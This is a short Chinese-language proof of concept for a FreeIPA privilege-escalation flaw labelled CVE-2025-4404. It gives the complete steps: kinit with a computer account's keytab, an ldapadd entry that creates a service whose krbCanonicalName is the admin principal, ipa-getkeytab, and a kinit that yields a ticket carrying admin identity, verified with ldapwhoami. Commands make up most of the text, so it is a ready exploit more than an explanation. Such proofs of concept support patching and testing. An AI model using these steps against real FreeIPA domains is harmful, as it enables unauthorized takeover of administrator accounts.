CVE-2025-4404 的概念验证
如果你有一个域计算机帐户（host/pc1.[email protected]），则默认可以添加服务。并且你可以设置 krbPrincipalName 和 krbCanonicalName。默认情况下，FreeIPA 4.12.4 管理员帐户缺少 krbCanonicalName 属性值。你可以使用 krbPrincipalName 的值请求 Kerberos 票据，但票据将包含 krbCanonicalName 的值。
开始
首先，我们将代表计算机帐户请求一张票据：
$ kinit host/[email protected] -k -t /etc/krb5.keytab
添加到 LDAP 服务帐户：
$ ldapadd -H ldap://dc1.test.local
dn: krbprincipalname=test/[email protected],cn=services,cn=accounts,dc=test,dc=local
ipaKrbPrincipalAlias: test/[email protected]
krbPrincipalName: test/[email protected]
objectClass: ipaKrbPrincipal
objectClass: ipaObject
objectClass: ipaService
objectClass: krbPrincipal
objectClass: krbPrincipalAux
objectClass: top
krbCanonicalName: [email protected]
managedBy: fqdn=pc1.test.local,cn=computers,cn=accounts,dc=test,dc=local
$ ipa-getkeytab -p test/[email protected] -k ./test.keytab --mech=GSSAPI
$ kdestroy -A
$ kinit --no-request-pac -k -t ./test.keytab test/[email protected]搞定！！！
你可以通过以下命令检查票据：
ldapwhoami -H ldap://dc1.test.local